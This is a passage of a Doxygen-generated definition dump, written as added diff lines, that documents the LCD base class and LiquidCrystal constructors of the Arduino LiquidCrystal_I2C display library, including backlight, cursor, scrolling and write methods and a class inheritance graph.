'/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '368'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns off automatic scrolling of the LCD. + @discussion Turns off automatic scrolling of the LCD, this is the default + configuration of the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a2a331b4e142734411b2f1cfaffe7a488'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '437'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-off the LCD backlight. + @discussion Switch-off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a3b755c4b397b5985752be8c30ee1a9b5'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noBlink'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '254'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns off the blinking of the LCD cursor. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aec8ffaa1e69c7a6e13ac0cfbc29151d9'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noCursor'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '272'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Hides the LCD cursor. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1af3974da6d988ba2d21c25135ada12108'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'noDisplay'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '235'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns off the LCD display. + @discussion Turns off the LCD display, without losing the text currently + being displayed on it. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a191639be183be1476c9bfe6d455d23b2'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'off'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '455'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch off the LCD module. + @discussion Switch off the LCD module, it will switch off the LCD controller + and the backlight. This method has the same effect of calling noDisplay and + noBacklight. @see display, @see backlight +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a718da3a638deb59bd1c7a5222a52d98a'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'on'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '446'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch on the LCD module. + @discussion Switch on the LCD module, it will switch on the LCD controller + and the backlight. This method has the same effect of calling display and + backlight. @see display, @see backlight +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1ac014830eadc26bfd86308ea8734f4428'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'rightToLeft'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '326'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Set the direction for text written to the LCD to right-to-left. + @discussion Set the direction for text written to the LCD to right-to-left. + All subsequent characters written to the display will go from right to left, + but does not affect previously-output text. + + left-to-right is the default configuration. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a6f3a503055b3b8dcf0f61b2633c584f7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'scrollDisplayLeft'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '291'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the left. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1abfc44b294772f09020bfa32af8a79571'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'scrollDisplayRight'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '300'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the right. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a3305570d7b37eb93f2cf840263c15828'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '489'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. The behaviour + of this method is very dependent on the device. Some controllers support + dimming some don't. Please read the actual header file for each individual + device. The setBacklightPin method has to be called before setting the backlight + or the adequate backlight control constructor. + @see setBacklightPin. + + NOTE: The prefered methods to control the backlight are "backlight" and + "noBacklight". + + @param 0..255 - the value is very dependent on the LCD. However, + BACKLIGHT_OFF will be interpreted as off and BACKLIGHT_ON will drive the + backlight on. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a53f4ee9b39d9ab3d7ae4d9f8dedca3bc'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '470'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + This method is device dependent and can be programmed on each subclass. An + empty function call is provided that does nothing. + + @param value: pin associated to backlight control. + @param pol: backlight polarity control (POSITIVE, NEGATIVE) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a48220450fd152b25994eb7d0ba340e8d'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setCursor'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'col'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'row'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '419'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Position the LCD cursor. + @discussion Sets the position of the LCD cursor. Set the location at which + subsequent text written to the LCD will be displayed. + + @param col[in] LCD column + @param row[in] LCD row - line. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a2d89cc2e62f72afb5f15a7fd812900e3'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '503'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Writes to the LCD. + @discussion This method writes character to the LCD in the current cursor + position. + + This is the virtual write method, implemented in the Print class, therefore + all Print class methods will end up calling this method. + + @param value[in] Value to write to the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'protected-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1a88b16ea0e5c7d1cabc5007d48bcbd2b0'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_cols'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '523'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1ae47a0e2eff74431a39774b788d5761f4'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_displaycontrol'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '519'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1aef093ba3f8e1016267b40ac235a0fa0f'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_displayfunction'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '517'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1a726b9a68d091dd8683a18e83f3a8fd3c'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_displaymode'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '521'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1ac1374911fb145fea430c21092ada0c06'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_numlines'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '522'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_l_c_d_1a990338759d2abe10b0fb1743b7789566'; + sec-mem-virt = normal; + sec-mem-prot = protected; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_polarity'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '524'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a31a0cb42497d83cdc9cb8000828f7190'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'command'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '539'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a command to the LCD. + @discussion This method sends a command to the LCD by setting the Register + select line of the LCD. + + This command shouldn't be used to drive the LCD, only to implement any other + feature that is not available on this library. + + @param value[in] Command value to send to the LCD (COMMAND, DATA or + FOUR_BITS). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a8a5b6f6f448a6ca6eeb3466c370d47ab'; + sec-mem-virt = virtual; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '555'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD. This is a pure abstract + method, therefore, it is implementation dependent of each derived class how + to physically write to the LCD. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + cp-fileline = '174'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 5; + node-label = 'LiquidCrystal_I2C_ByVac'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c___by_vac'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 6; + node-label = 'LiquidCrystal_SR'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 2; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 3; + node-label = 'LiquidCrystal'; + node-link = { + node-link-id = 'class_liquid_crystal'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 4; + node-label = 'LiquidCrystal_I2C'; + node-link = { + node-link-id = 'class_liquid_crystal___i2_c'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 8; + node-label = 'LiquidCrystal_SR2W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r2_w'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 7; + node-label = 'LiquidCrystal_SR1W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r1_w'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + node = { + node-id = 9; + node-label = 'LiquidCrystal_SR3W'; + node-link = { + node-link-id = 'class_liquid_crystal___s_r3_w'; + }; + node-child = { + child-id = '2'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal'; + cp-name = 'LiquidCrystal'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a49d2bd8d26031a1c83bcbd73978a1686'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '55'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract 8 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a30e3d865c4b4a003a36cb45903f93644'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '58'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1ae0c3c8f7661634b1400f00a1c9c02c26'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = 